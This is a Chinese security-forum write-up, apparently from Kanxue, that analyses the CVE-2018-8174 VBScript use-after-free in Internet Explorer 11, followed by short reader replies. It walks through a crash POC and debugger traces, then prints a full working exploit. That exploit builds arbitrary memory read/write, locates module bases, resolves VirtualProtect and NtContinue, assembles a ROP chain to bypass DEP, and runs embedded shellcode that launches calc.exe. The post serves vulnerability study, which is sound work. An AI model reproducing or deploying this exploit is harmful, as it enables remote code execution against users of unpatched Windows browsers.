首页
社区
课程
招聘
[原创]CVE-2018-8174 “双杀”0day 从UAF到Exploit
2018-12-18 17:32 22175

[原创]CVE-2018-8174 “双杀”0day 从UAF到Exploit

2018-12-18 17:32
22175

前言

这个漏洞是由于VBS脚本引擎在处理Class对象时存在释放后重用导致的,原始利用样本中的VBS代码有一定的混淆,主要是针对函数名和变量名以及常量,在经过本人还原后觉得这个漏洞还是比较有趣的,所以拿出来分享给大家一起学习。

实验环境

操作系统:Windows 7 sp1 32位

浏览器:IE11.0.9600.17843

调试器: IDA、windbg、x64dbg

原始Exploit样本: https://www.exploit-db.com/exploits/44741

漏洞分析

1.POC代码 :
<!doctype html>
<html lang="en">
<head>
<meta http-equiv="x-ua-compatible" content="IE=10">
</head>
<body>
<script language="vbscript">
Dim gNumber
Dim arrayA(6),arrayB(6)
Dim index
Dim gArray(40)
Dim hexA, hexB
Dim address
Dim memClassA
Dim classGetPA

hexA = Unescape("%u0001%u0880%u0001%u0000%u0000%u0000%u0000%u0000%uffff%u7fff%u0000%u0000")
hexB = Unescape("%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000")
address = 0
index = 0

Class claA
Private Sub Class_Terminate()
	Set arrayA(index) = gNumber(1)
	index = index + 1
	gNumber(1) = 1
End Sub
End Class

Class testClass
End Class

Class memClass
Dim mem
Function P
End Function

Function SetProp(Value)
	mem = Value
	SetProp = 0
End Function
End Class

Class readMemClass
Dim mem
Function P0123456789
	P0123456789 = LenB(mem(address+8))
End Function

Function SPP
End Function
End Class

Class swapObject
Public Default Property Get P
Dim object
P = 174088534690791e-324
For i = 0 To 6
	arrayA(i) = 0
Next
Set object = New readMemClass
object.mem = hexA
For i = 0 To 6
	Set arrayA(i) = object
Next
End Property
End Class

Sub UAF
    
	For i = 0 To &h11
		Set gArray(i) = New testClass
	Next
	For i = &h14 To &h26
		Set gArray(i) = New memClass
	Next
	
    Msgbox "Create claA"

    index = 0
    For i = 0 To 6
		ReDim gNumber(1)
		Set gNumber(1) = New claA
		Erase gNumber
	Next
    Set memClassA = New memClass
End Sub

Sub InitObjects
	memClassA.SetProp(swapObjA)
End Sub

Sub StartExploit
    UAF
	InitObjects
End Sub

Set swapObjA = New swapObject
StartExploit

</script>
</body>
</html>

2.windbg开启堆调试支持 :

打开cmd输入gflags.exe /i iexplore.exe +hpa


3.运行POC用windbg捕获异常信息:

3.1 崩溃时寄存器信息:
eax=06b0bfd0 ebx=6b770e50 ecx=00000009 edx=00000009 esi=0a04cf90 edi=00000009
eip=753e4971 esp=0585a558 ebp=0585a560 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010202

3.2 崩溃EIP处信息:
753e4953 83f809          cmp     eax,9
753e4956 7430            je      OLEAUT32!VariantCopy+0x154 (753e4988)
753e4958 83f80d          cmp     eax,0Dh
753e495b 742b            je      OLEAUT32!VariantCopy+0x154 (753e4988)
753e495d 33c0            xor     eax,eax
753e495f 5b              pop     ebx
753e4960 5f              pop     edi
753e4961 5e              pop     esi
753e4962 c9              leave
753e4963 c20800          ret     8
753e4966 8b4608          mov     eax,dword ptr [esi+8]
753e4969 85c0            test    eax,eax
753e496b 0f8454f5ffff    je      OLEAUT32!VariantClear+0xc3 (753e3ec5)
753e4971 8b08            mov     ecx,dword ptr [eax]  ds:0023:068d5fd0=????????

3.3 EAX指向内存信息:
0:008> dd eax
06b0bfd0  ???????? ???????? ???????? ????????
06b0bfe0  ???????? ???????? ???????? ????????

3.4 EAX上次内存管理信息:
0:008> !heap -p -a eax
    address 068d5fd0 found in
    _DPH_HEAP_ROOT @ 6c1000
    in free-ed allocation (  DPH_HEAP_BLOCK:         VirtAddr         VirtSize)
                                    6812d34:          68d5000             2000
    710190b2 verifier!AVrfDebugPageHeapFree+0x000000c2
    76e866ac ntdll!RtlDebugFreeHeap+0x0000002f
    76e4a13e ntdll!RtlpFreeHeap+0x0000005d
    76e165a6 ntdll!RtlFreeHeap+0x00000142
    756a98cd msvcrt!free+0x000000cd
    729a717a vbscript!VBScriptClass::`scalar deleting destructor'+0x0000001a
    729a71fd vbscript!VBScriptClass::Release+0x00000053
    753e4977 OLEAUT32!VariantClear+0x000000b9
    753fe325 OLEAUT32!ReleaseResources+0x000000a3
    753fdfb3 OLEAUT32!_SafeArrayDestroyData+0x00000048
    75405d2d OLEAUT32!SafeArrayDestroyData+0x0000000f
    75405d13 OLEAUT32!Thunk_SafeArrayDestroyData+0x00000039
    729f52d0 vbscript!VbsErase+0x00000050
    72994787 vbscript!StaticEntryPoint::Call+0x0000002f
    729957cb vbscript!CScriptRuntime::RunNoEH+0x00001d74
    7299526e vbscript!CScriptRuntime::Run+0x000000c3


3.5 崩溃时堆栈信息:

0:007> kv
ChildEBP RetAddr  Args to Child              
04a3ac30 6ed91afa 086fef90 077f8dd0 086fef90 OLEAUT32!VariantClear+0xb3 (FPO: [Non-Fpo])
04a3ac4c 6e6121b0 086fef90 077f8dd0 086fef90 IEShims!NS_ATLMitigation::APIHook_VariantClear+0x5d (FPO: [Non-Fpo])
04a3ac68 6e613014 09e48f04 00000010 04a3af50 vbscript!VAR::Clear+0x2d (FPO: [Non-Fpo])
04a3aca0 6e6276b0 077f8dd0 00000001 05bb9e00 vbscript!AssignVar+0x96 (FPO: [Non-Fpo])
04a3aee4 6e61526e 04a3b070 ae1e0428 077f8e50 vbscript!CScriptRuntime::RunNoEH+0x2440 (FPO: [Non-Fpo])


4. 总结windbg异常信息:

从寄存器信息中获得崩溃时EIP = 0x753e4971 ,从对应EIP处观察出EAX指向的内存已被释放,通过查看 上次内存管理发现EAX指向的是一个VBScriptClass,只有脚本中的Class被实例化时VBS脚本引擎才会创建一个对应的VBScriptClass对象,再通过观察堆栈信息可以确定是AssignVar函数分配变量的时候崩溃的,那么现在已经可以确定是类被释放掉后还存在引用导致的。


5.x64dbg调试分析


5.1 下载符号表

运行POC等待弹框后附加进程,下载符号表


5.2 对关键函数下断点

符号表下载完成后重新运行POC, 等待弹框后附加进程 ,对VBScriptClass::Create、VBScriptClass::~VBScriptClass下断,每当脚本中New一个Class的时候脚本引擎都会调用VBScriptClass::Create函数去创建一个VBScriptClass类,VBScriptClass::~VBScriptClass函数则是类的析构


5.3 记录类的申请与释放
点掉弹框后会通过VBS引擎中的 VBScriptClass::Create 连续6次申请claA对象

单步到0x6ED09C9C,拿到申请的对象内存地址0x0528AFD0

F9直接运行后断到引擎中类的释放函数 VBScriptClass::~VBScriptClass , 观察ECX对象指针为0x0528AFD0,也就是说刚刚申请的对象这下又要被释放了

这时候需要注意的是在claA对象的释放时,会触发Terminate事件,通过观察脚本代码可以看出来,在事件进行时gNumber(1)中存储了claA对象,在生命周期结束前,又把对象放入了arrayA(index),所以就算对象释放了,arrayA(index)还是残留了 claA的引用

F8到ret后再次观察类的内存布局,发现很多数据已经被释放掉了

5.4 观察崩溃处信息

Control+B打开断点文档,用空格暂时屏蔽类的创建与析构函数断点

F9直接运行到崩溃点,可以看到 VARIANT结构中的0x0528AFD0是上面释放的claA对象地址,观察下图可以很清晰的看到,是释放后的对象被重用了,关于VARIANT结构会在后面进行介绍

再次回到VBS脚本代码,可以看到在swapObject对象中,又对arrayA这个数组进行了赋值,而此时在数组中存储的是claA对象,对数组内数据赋值为0本来是不会有问题的,问题在于VBS脚本引擎使用AssignVar函数对变量赋值时在赋值之前还会检查原来存储的数据是不是一个对象,如果是一个对象还会调用VBScriptClass::Release函数去减少对象的引用计数,也就是在调用 VBScriptClass::Release函数准备去减少引用计数的时候发生了内存访问异常,导致了崩溃。


VBScriptClass::Release函数:

6.x64dbg调试分析总结
VBScriptClass::Create函数中创建名为claA的对象,因为删除数组而减少引用计数引发VBScriptClass::~VBScriptClass函数释放 claA对象,在释放时触发Terminate事件,在事件进行中将claA对象存在了arrayA这个数组中, 而后又对arrayA这个数组进行了填入0 ,由于填入0之前检查了其中存入的是一个VBS脚本对象,所以需要减少引用计数,但是对象已经被释放掉了,虚表的内存不可访问了,虚表不能访问自然就崩溃了。

漏洞利用


1.必备数据结构
在利用前还需要对VARIANT这个结构有所了解,因为VBS脚本引擎存储数据时,默认使用VARIANT结构, vt字段描述了数据的类型,wReserved1 - wReserved3保留, 变量数据 存储在联合体中。
struct tagVARIANT {
     union {
         struct __tagVARIANT {
             VARTYPE vt;
             WORD     wReserved1;
             WORD     wReserved2;
             WORD     wReserved3;
             union {
                 ULONGLONG      ullVal;        /* VT_UI8                */
                 LONGLONG       llVal;         /* VT_I8                 */
                 LONG           lVal;          /* VT_I4                 */
                 BYTE           bVal;          /* VT_UI1                */
                 SHORT          iVal;          /* VT_I2                 */
                 FLOAT          fltVal;        /* VT_R4                 */
                 DOUBLE         dblVal;        /* VT_R8                 */
                 VARIANT_BOOL   boolVal;       /* VT_BOOL               */
                 _VARIANT_BOOL bool;          /* (obsolete)            */
                 SCODE          scode;         /* VT_ERROR              */
                 CY             cyVal;         /* VT_CY                 */
                 DATE           date;          /* VT_DATE               */
                 BSTR           bstrVal;       /* VT_BSTR               */
                 IUnknown *     punkVal;       /* VT_UNKNOWN            */
                 IDispatch *    pdispVal;      /* VT_DISPATCH           */
                 SAFEARRAY *    parray;        /* VT_ARRAY              */
                 BYTE *         pbVal;         /* VT_BYREF|VT_UI1       */
                 SHORT *        piVal;         /* VT_BYREF|VT_I2        */
                 LONG *         plVal;         /* VT_BYREF|VT_I4        */
                 LONGLONG *     pllVal;        /* VT_BYREF|VT_I8        */
                 FLOAT *        pfltVal;       /* VT_BYREF|VT_R4        */
                 DOUBLE *       pdblVal;       /* VT_BYREF|VT_R8        */
                 VARIANT_BOOL *pboolVal;      /* VT_BYREF|VT_BOOL      */
                 _VARIANT_BOOL *pbool;        /* (obsolete)            */
                 SCODE *        pscode;        /* VT_BYREF|VT_ERROR     */
                 CY *           pcyVal;        /* VT_BYREF|VT_CY        */
                 DATE *         pdate;         /* VT_BYREF|VT_DATE      */
                 BSTR *         pbstrVal;      /* VT_BYREF|VT_BSTR      */
                 IUnknown **    ppunkVal;      /* VT_BYREF|VT_UNKNOWN   */
                 IDispatch **   ppdispVal;     /* VT_BYREF|VT_DISPATCH */
                 SAFEARRAY **   pparray;       /* VT_BYREF|VT_ARRAY     */
                 VARIANT *      pvarVal;       /* VT_BYREF|VT_VARIANT   */
                 PVOID          byref;         /* Generic ByRef         */
                 CHAR           cVal;          /* VT_I1                 */
                 USHORT         uiVal;         /* VT_UI2                */
                 ULONG          ulVal;         /* VT_UI4                */
                 INT            intVal;        /* VT_INT                */
                 UINT           uintVal;       /* VT_UINT               */
                 DECIMAL *      pdecVal;       /* VT_BYREF|VT_DECIMAL   */
                 CHAR *         pcVal;         /* VT_BYREF|VT_I1        */
                 USHORT *       puiVal;        /* VT_BYREF|VT_UI2       */
                 ULONG *        pulVal;        /* VT_BYREF|VT_UI4       */
                 ULONGLONG *    pullVal;       /* VT_BYREF|VT_UI8       */
                 INT *          pintVal;       /* VT_BYREF|VT_INT       */
                 UINT *         puintVal;      /* VT_BYREF|VT_UINT      */
                 struct __tagBRECORD {
                     PVOID          pvRecord;
                     IRecordInfo * pRecInfo;
                 } __VARIANT_NAME_4;          /* VT_RECORD             */
             } __VARIANT_NAME_3;
         } __VARIANT_NAME_2;
         DECIMAL decVal;
     } __VARIANT_NAME_1;
};

以下是vt字段的枚举类型:
enum VARENUM
{
        VT_EMPTY    = 0,
        VT_NULL = 1,
        VT_I2   = 2,
        VT_I4   = 3,
        VT_R4   = 4,
        VT_R8   = 5,
        VT_CY   = 6,
        VT_DATE = 7,
        VT_BSTR = 8,
        VT_DISPATCH = 9,
        VT_ERROR    = 10,
        VT_BOOL = 11,
        VT_VARIANT  = 12,
        VT_UNKNOWN  = 13,
        VT_DECIMAL  = 14,
        VT_I1   = 16,
        VT_UI1  = 17,
        VT_UI2  = 18,
        VT_UI4  = 19,
        VT_I8   = 20,
        VT_UI8  = 21,
        VT_INT  = 22,
        VT_UINT = 23,
        VT_VOID = 24,
        VT_HRESULT  = 25,
        VT_PTR  = 26,
        VT_SAFEARRAY    = 27,
        VT_CARRAY   = 28,
        VT_USERDEFINED  = 29,
        VT_LPSTR    = 30,
        VT_LPWSTR   = 31,
        VT_RECORD   = 36,
        VT_INT_PTR  = 37,
        VT_UINT_PTR = 38,
        VT_FILETIME = 64,
        VT_BLOB = 65,
        VT_STREAM   = 66,
        VT_STORAGE  = 67,
        VT_STREAMED_OBJECT  = 68,
        VT_STORED_OBJECT    = 69,
        VT_BLOB_OBJECT  = 70,
        VT_CF   = 71,
        VT_CLSID    = 72,
        VT_VERSIONED_STREAM = 73,
        VT_BSTR_BLOB    = 0xfff,
        VT_VECTOR   = 0x1000,
        VT_ARRAY    = 0x2000,
        VT_BYREF    = 0x4000,
        VT_RESERVED = 0x8000,
        VT_ILLEGAL  = 0xffff,
        VT_ILLEGALMASKED    = 0xfff,
        VT_TYPEMASK = 0xfff
} ;

2.完整利用POC
<!doctype html>
<html lang="en">
<head>
<meta http-equiv="x-ua-compatible" content="IE=10">
</head>
<body>
<script language="vbscript">

Dim gNumber
Dim arrayA(6),arrayB(6)
Dim index
Dim gArray(40)
Dim hexA, hexB
Dim address
Dim memClassA,memClassB
Dim swapA,swapB
Dim NtContinueAddr,VirtualProtectAddr

hexA = Unescape("%u0001%u0880%u0001%u0000%u0000%u0000%u0000%u0000%uffff%u7fff%u0000%u0000")
hexB = Unescape("%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000")
address = 0
index = 0

Function GetUint32(Addr)

	Dim value
	memClassA.mem(address + 8) = Addr + 4
	memClassA.mem(address) = 8		        'type string

    value = memClassA.P0123456789
	memClassA.mem(address) = 2
	GetUint32 = value
End Function

Function readWord(addr)
	readWord = GetUint32(addr) And 65535
End Function

Function readByte(addr)
    readByte = GetUint32(addr) And (&hFF)
End Function

Function GetBaseByDOSmodeSearch(in_addr)
	Dim addr
	addr = in_addr And &hFFFF0000
	Do While GetUint32(addr+&h68)<>&h206E6920 Or GetUint32(addr+&h6C)<>&h20534F44
		addr = addr-&h10000
	Loop
	GetBaseByDOSmodeSearch = addr
End Function

Function StrCompWrapper(addr, szName)

	Dim str,i
	str = ""
	For i = 0 To Len(szName) - 1
		str = str & Chr(readByte(addr+i))
	Next
	StrCompWrapper = StrComp(UCase(str), UCase(szName))
End Function

'base_address 模块基址   name_input输入的模块名
Function GetBaseFromImport(base_address,name_input)
	Dim import_rva,nt_header,descriptor,import_dir
	Dim addr
    '从PE读取nt_header
	nt_header = GetUint32(base_address + (&h3c))
    '读取导入表偏移
	import_rva = GetUint32(base_address + nt_header + &h80)
    '计算出导入表地址
	import_dir = base_address + import_rva
	descriptor = 0

	Do While True
		Dim NameOffset
		NameOffset = GetUint32(import_dir + descriptor * (&h14)+&hC)
		If NameOffset = 0 Then
			GetBaseFromImport = &hBAAD0000
			Exit Function
		Else
			If StrCompWrapper(base_address + NameOffset, name_input) = 0 Then
				Exit Do
			End If
		End If
		descriptor = descriptor+1
	Loop
    '随便取一个导入函数的地址
	addr = GetUint32(import_dir + descriptor * (&h14)+&h10)
    addr = GetUint32(base_address + addr)

    '老套路获取模块基址
	GetBaseFromImport = GetBaseByDOSmodeSearch(addr)
    
End Function

Function GetProcAddr(dll_base,name)

	Dim p, export_dir, index
	Dim function_rvas, function_names, function_ordin

	Dim Ordin
	p = GetUint32(dll_base + &h3c)
	p = GetUint32(dll_base + p + &h78)
	export_dir = dll_base + p

	function_rvas = dll_base + GetUint32(export_dir + &h1c)
	function_names = dll_base + GetUint32(export_dir + &h20)
	function_ordin = dll_base + GetUint32(export_dir + &h24)
	index = 0
	Do While True
		Dim offset
		offset = GetUint32(function_names + index * 4)
		If StrCompWrapper(dll_base + offset, name) = 0 Then
			Exit Do
		End If
		index = index+1
	Loop
	Ordin = readWord(function_ordin + index * 2)
	p = GetUint32(function_rvas + Ordin * 4)
	GetProcAddr = dll_base + p
End Function
    
Function GetShellcode()
	hexCode = Unescape("%u0000%u0000%u0000%u0000") & Unescape("%ue8fc%u0082%u0000%u8960%u31e5%u64c0%u508b%u8b30%u0c52%u528b%u8b14%u2872%ub70f%u264a%uff31%u3cac%u7c61%u2c02%uc120%u0dcf%uc701%uf2e2%u5752%u528b%u8b10%u3c4a%u4c8b%u7811%u48e3%ud101%u8b51%u2059%ud301%u498b%ue318%u493a%u348b%u018b%u31d6%uacff%ucfc1%u010d%u38c7%u75e0%u03f6%uf87d%u7d3b%u7524%u58e4%u588b%u0124%u66d3%u0c8b%u8b4b%u1c58%ud301%u048b%u018b%u89d0%u2444%u5b24%u615b%u5a59%uff51%u5fe0%u5a5f%u128b%u8deb%u6a5d%u8d01%ub285%u0000%u5000%u3168%u6f8b%uff87%ubbd5%ub5f0%u56a2%ua668%ubd95%uff9d%u3cd5%u7c06%u800a%ue0fb%u0575%u47bb%u7213%u6a6f%u5300%ud5ff%u6163%u636c%u652e%u6578%u4100%u0065%u0000%u0000%u0000%u0000%u0000%ucc00%ucccc%ucccc%ucccc%ucccc")
	GetShellcode = hexCode
End Function

Function BuildVirtualTable
	Dim i,szNtContinueAddr,str,szAddr0,szAddr8,szAddr16,szAddr24
	
    szNtContinueAddr = NumberToString(NtContinueAddr, 8)
	szAddr0 = Mid(szNtContinueAddr,1,2)
	szAddr8 = Mid(szNtContinueAddr,3,2)
	szAddr16 = Mid(szNtContinueAddr,5,2)
	szAddr24 = Mid(szNtContinueAddr,7,2)

	str = ""
	str = str & "%u0000%u" &szAddr24 &"00"
	For i = 1 To 3
		str = str & "%u" &szAddr8 &szAddr16
		str = str & "%u" &szAddr24 &szAddr0
	Next
	str = str & "%u" & szAddr8 & szAddr16
	str = str & "%u00" & szAddr0

	BuildVirtualTable = Unescape(str)

End Function

Function NumberToString(ByVal Number, ByVal Length)
    hNumber = Hex(Number)
    If Len(hNumber) < Length Then
		hNumber = String(Length - Len(hNumber), "0") & hNumber    'pad allign with zeros
	Else
		hNumber = Right(hNumber, Length)
	End If
	NumberToString = hNumber
End Function

Function EscapeAddress(ByVal value)
	Dim High,Low
	High = NumberToString((value And &hFFFF0000) / &h10000, 4)
	Low = NumberToString(value And &hFFFF, 4)
	EscapeAddress = Unescape("%u"&Low&"%u"&High)
End Function

Function WrapShellcodeWithNtContinueContext(ShellcodeAddrParam) 'bypass cfg
	Dim ropChain

	'pad1 0 - 10FDC
    ropChain = String(34798, Unescape("%u4141"))
    'rop chain
	ropChain = ropChain & EscapeAddress(ShellcodeAddrParam)
	ropChain = ropChain & EscapeAddress(ShellcodeAddrParam)
	ropChain = ropChain & EscapeAddress(&h3000)
	ropChain = ropChain & EscapeAddress(&h40)
	ropChain = ropChain & EscapeAddress(ShellcodeAddrParam-8)
	ropChain = ropChain & String(6, Unescape("%u4242"))
    '构建攻击所需的虚表
	ropChain = ropChain & BuildVirtualTable()
    'pad2 
	ropChain = ropChain & String((&h80000 - LenB(ropChain)) / 2, Unescape("%u4141"))
	WrapShellcodeWithNtContinueContext = ropChain
End Function
    
Function ExpandWithVirtualProtect(ropAddr)
	Dim szContext
	Dim Addr
    '0 - 10FDC
	Addr = ropAddr + &h23
	szContext = ""
	szContext = szContext & EscapeAddress(Addr)
	szContext = szContext & String((&hb8 - LenB(szContext)) / 2, Unescape("%4141"))
	szContext = szContext & EscapeAddress(VirtualProtectAddr)
	szContext = szContext & EscapeAddress(&h1b)
	szContext = szContext & EscapeAddress(0)
	szContext = szContext & EscapeAddress(ropAddr)
	szContext = szContext & EscapeAddress(&h23)
	szContext = szContext & String((&400-LenB(szContext))/2,Unescape("%u4343"))
	ExpandWithVirtualProtect = szContext

End Function

Sub ExecuteShellcode
    '把类型改成0x4D
	memClassA.mem(address) = &h4d
        Msgbox "ExecuteShellcode"
	memClassA.mem(address + 8) = 0
End Sub

Class claA

Private Sub Class_Terminate()

	Msgbox "Set arrayA"
	Set arrayA(index) = gNumber(1)
	index = index + 1
	gNumber(1) = 1

End Sub

End Class

Class claB
Private Sub Class_Terminate()
	Set arrayB(index)=gNumber(1)
	index=index+1
	gNumber(1)=1
End Sub
End Class

Class testClass
End Class
    
Class memClass
Dim mem

Function P
End Function

Function SetProp(Value)

       	Msgbox "SetProp"

	mem = Value

	Msgbox "SetProp = 0"

	SetProp = 0

End Function

End Class

Class readMemClass

Dim mem

Function P0123456789
	P0123456789 = LenB(mem(address+8))
End Function

Function SPP
End Function
End Class
    
Class swapObjectA
Public Default Property Get P

Dim object

P = 174088534690791e-324


For i = 0 To 6
	arrayA(i) = 0
Next

Set object = New readMemClass

Msgbox "object.mem = hexA"
object.mem = hexA

For i = 0 To 6
	Set arrayA(i) = object
Next

End Property
End Class
    
Class swapObjectB
Public Default Property Get P
Dim object
P=636598737289582e-328

For i = 0 To 6
	arrayB(i) = 0
Next

Set object = New readMemClass
object.mem = hexB

For i = 0 To 6
	Set arrayB(i) = object
Next
End Property
End Class

Set swapA = New swapObjectA
Set swapB = New swapObjectB

Sub UAF
    
	For i = 0 To &h11
		Set gArray(i) = New testClass
	Next

	For i = &h14 To &h26
		Set gArray(i) = New memClass
	Next

    index = 0
    For i = 0 To 6
		ReDim gNumber(1)
		Set gNumber(1) = New claA
		Erase gNumber
    Next

    Set memClassA = New memClass


    arrayB(0) = 0
    index = 0
    For i = 0 To 6
		ReDim gNumber(1)
		Set gNumber(1) = New claB
		Erase gNumber
	Next
	Set memClassB = New memClass

End Sub

Sub InitObjects

        Msgbox "InitObjects"

	memClassA.SetProp(swapA)
    	'memClassA现在的类型是readMemClass 

    	memClassB.SetProp(swapB)
    	'memClassB现在的类型是readMemClass 
	address = memClassB.mem

End Sub

Sub testSub
End Sub

Function GetMemValue
	memClassA.mem(address) = 3
	GetMemValue = memClassA.mem(address + 8)
End Function

Sub SetMemValue(ByRef in_Ref)
	memClassA.mem(address + 8) = in_Ref
End Sub

Function LeakVBAddr
	On Error Resume Next

	Dim pCScriptEntryPointObject
	pCScriptEntryPointObject = testSub
	pCScriptEntryPointObject = null

	SetMemValue pCScriptEntryPointObject
	LeakVBAddr = GetMemValue()

End Function

Sub StartExploit
    
    UAF
    InitObjects

    pCScriptEntryPointObject = LeakVBAddr()
    pVTable = GetUint32(pCScriptEntryPointObject)

    'Msgbox "CScriptEntryPointObject Leak: 0x" & Hex(pCScriptEntryPointObject)
    'Msgbox "pVTable Leak: 0x" & Hex(pVTable)

    vbs_base = GetBaseByDOSmodeSearch(pVTable)
    '从PE搜索对应模块的导入表 获取其他模块基址
    msv_base = GetBaseFromImport(vbs_base, "msvcrt.dll")
    krb_base = GetBaseFromImport(msv_base, "kernelbase.dll")
    ntd_base = GetBaseFromImport(msv_base, "ntdll.dll")

    VirtualProtectAddr = GetProcAddr(krb_base, "VirtualProtect")
    NtContinueAddr = GetProcAddr(ntd_base, "NtContinue")

    'Msgbox "VirtualProtectAddr: 0x" & Hex(VirtualProtectAddr)
    'Msgbox "NtContinueAddr: 0x" & Hex(NtContinueAddr)

    SetMemValue GetShellcode()
    ShellcodeAddr = GetMemValue() + 8

    'WrapShellcodeWithNtContinueContext 构建ROP
    SetMemValue WrapShellcodeWithNtContinueContext(ShellcodeAddr)

    ropAddr = GetMemValue() + 69596

    'ExpandWithVirtualProtect 构建CONTEXT
    SetMemValue ExpandWithVirtualProtect(ropAddr)
    GetMemValue()
    ExecuteShellcode

End Sub
StartExploit
</script>
</body>
</html>

3. windbg关闭堆调试支持 :

打开cmd输入gflags.exe /i iexplore.exe -hpa


4.x64dbg分析Class占位

4.1 对关键函数下断
运行POC, 等待弹框后附加进程 ,对VBScriptClass::Create、VBScriptClass::~VBScriptClass、AssignVar下断

4.2 Class占位分析
点掉“Set arrayA”的弹框后,第一次断到AssignVar处,此时正要把claA对象写入arrayA(0)中,通过观察输入的VARIANT结构发现其中存储的是一个 VARIANT*类型的指针, 指针数值为0x02848E18,同时记录 arrayA(0) 的地址是0x03AD2FD8

VARIANT* 指针指向的是一个类型为IDispatch*VARIANT结构,在VBS脚本引擎中,IDispatch* 就是Class类型

再看看VBScriptClass结构信息,在这里需要说明一点,VBS脚本代码里所有通过Class关键字实例化的对象在引擎中都是用VBScriptClass结构来存储

F9到VBScriptClass::~VBScriptClass函数,发现此时被释放的对象正是存在arrayA(0)中的对象,对象地址为0x027DB0C0

再F9到 VBScriptClass::Create,发现再次申请的对象内存地址和上次被释放的对象内存地址一摸一样,都是 0x027DB0C0 ,也就是说明被新对象占位了

4.3 memClass占位
在申请完6次claA对象,又释放了6次后,此时arrayA(0) - arrayA(6) 都指向了一个被释放的对象的内存地址,此时再次重新申请memClass对象,
arrayA(0) - arrayA(6)  就指向了新申请的memClass
占位后 arrayA(0) 的内存布局如下:
内存中的对象结构信息

4.4 swapObjectA类中再次占位
此时 arrayA(0) - arrayA(6) 都存着memClass对象,对 arrayA 全部填入0后又导致了 memClass 的释放,释放后重新申请readMemClass对象进行占位

4.5 利用Class占位实现任意地址读写

明白了上面占位的原理后,再次启动poc,等待弹出"SetProp"后附加进程,对AssignVar函数下断,拿到memClass的内存布局, memClass.mem的内存地址为0x01D37B30

F9运行等待弹出"object.mem = hexA"后,再次断AssignVar函数,拿到readMemClass的内存布局, readMemClass.mem的内存地址为0x01D37B3C

由于VAR这个结构是未知的,目前根据逆向发现偏移0x0处是VARIANT结构,偏移0x30处是一个不定长的名称字符串,在一路F8后,readMemClass.mem写入了hexA,可以看到数据类型为 BSTR

根据前面的分析memClass.mem的内存地址为0x01D37B30, readMemClass.mem 的内存地址为0x01D37B3C,内存已经重叠,由于在SetProp函数中使用的是memClass的布局,所以在拿到Value的返回值对mem成员变量赋值时会产生覆盖,从而改变了readMemClass.mem的数据类型Value等于swapObjectA时,会将mem变量类型改为 VARIANT*Value等于swapObjectB时,会将变量类型改为Long


当执行完InitObjects函数时,memClassAmemClassB的类型都变成readMemClassmemClassA提供数据读写功能支持, memClassB用来传递读写的参数信息

5. 任意地址读写的利用

5.1 获取 CScriptEntryPointObject 对象
LeakVBAddr函数中,先通过老套路获取CScriptEntryPointObject, 又通过SetMemValue函数把pCScriptEntryPointObject写入address指向的内存然后通过GetMemValue改变address中变量的类型为Long再拿出来为什么要绕一大圈做这个事情呢是因为pCScriptEntryPointObject属性为null,是不可读的,只有改为Long才能读取出4字节数据

5.2 获取 CScriptEntryPointObject 对象的虚表

调用GetUint32读取目标地址的内存

GetUint32 函数

6. 通过对象虚表获取vbs模块基址
7. 通过导入表获取其他模块基址

8.通过模块基址分析PE获取导出函数
9.ROP构造

10.上下文构造

11. 利用过程调试验证

重新运行POC等待弹出"ExecuteShellcode"后 附加,对AssginVar函数下断,F8单步到调用Var::Clear处F7进入函数

数据类型判断,已经被故意构造成0x4D了

继续F8到此处,可以看到已经在访问精心构造的虚表了

对VirtualProtect下断后直接F9,断下来后可以看到此时ESP也指向了ROP链

一路F8后来到shellcode处

F9后计算器弹出

总结

这个漏洞就是利用Class占位调整类中变量的属性从而获得了任意地址写入的能力, 然后通过CScriptEntryPoint获取VBS脚本引擎模块在内存中的基址,又通过分析VBS模块PE信息进而获取其他系统关键模块基址, 拿到系统关键模块基址就可以获取NtContinue、VirtualProtect绕过DEP了,值得学习的是最后攻击虚表去调用的ZwContinue改变线程上下文。

[培训]《安卓高级研修班(网课)》月薪三万计划,掌握调试、分析还原ollvm、vmp的方法,定制art虚拟机自动化脱壳的方法

最后于 2018-12-18 18:23 被来杯柠檬红茶编辑 ,原因:
收藏
点赞11
打赏
分享
最新回复 (20)
雪    币: 914
活跃值: (2188)
能力值: ( LV5,RANK:68 )
在线值:
发帖
回帖
粉丝
万剑归宗 1 2018-12-19 09:37
2
0
很赞
雪    币: 3874
活跃值: (616)
能力值: ( LV9,RANK:150 )
在线值:
发帖
回帖
粉丝
来杯柠檬红茶 3 2018-12-20 17:13
3
0
万剑归宗 很赞[em_1]
 谢谢
雪    币: 1645
活跃值: (619)
能力值: ( LV8,RANK:130 )
在线值:
发帖
回帖
粉丝
Am0rf4tx 3 2018-12-23 20:49
4
0
写得很好,学习了。最近我也在分析这个洞。
雪    币: 3874
活跃值: (616)
能力值: ( LV9,RANK:150 )
在线值:
发帖
回帖
粉丝
来杯柠檬红茶 3 2018-12-25 16:22
5
0
输出全靠吼 写得很好,学习了。最近我也在分析这个洞。[em_13]
嗯嗯 加油
雪    币: 258
活跃值: (124)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
406 2019-1-10 15:18
6
0
什么时候,我能看懂大老的文章呢?
雪    币: 3874
活跃值: (616)
能力值: ( LV9,RANK:150 )
在线值:
发帖
回帖
粉丝
来杯柠檬红茶 3 2019-1-13 06:33
7
0
wx_六耳 什么时候,我能看懂大老的文章呢?
努力学习很快的
雪    币: 1106
活跃值: (61)
能力值: ( LV5,RANK:60 )
在线值:
发帖
回帖
粉丝
oguri 1 2019-3-25 11:17
8
0
求问大佬,GetBaseByDOSmodeSearch的原理是什么呢?不知道应该搜什么关键词
雪    币: 304
活跃值: (10)
能力值: ( LV2,RANK:15 )
在线值:
发帖
回帖
粉丝
亚克Yakir 2019-3-30 17:26
9
0
666
雪    币: 3874
活跃值: (616)
能力值: ( LV9,RANK:150 )
在线值:
发帖
回帖
粉丝
来杯柠檬红茶 3 2019-4-1 09:49
10
0
oguri 求问大佬,GetBaseByDOSmodeSearch的原理是什么呢?不知道应该搜什么关键词[em_16]
GetBaseByDOSmodeSearch 是传入一个地址并把地址低16位清零直接得到一个模块基址,后获取偏移0x68和0x6C处的数值做一个判断,判断成立则确定地址是模块基址,然后直接返回
雪    币: 10
活跃值: (557)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
wx_三五瓶 2019-5-9 00:04
11
0
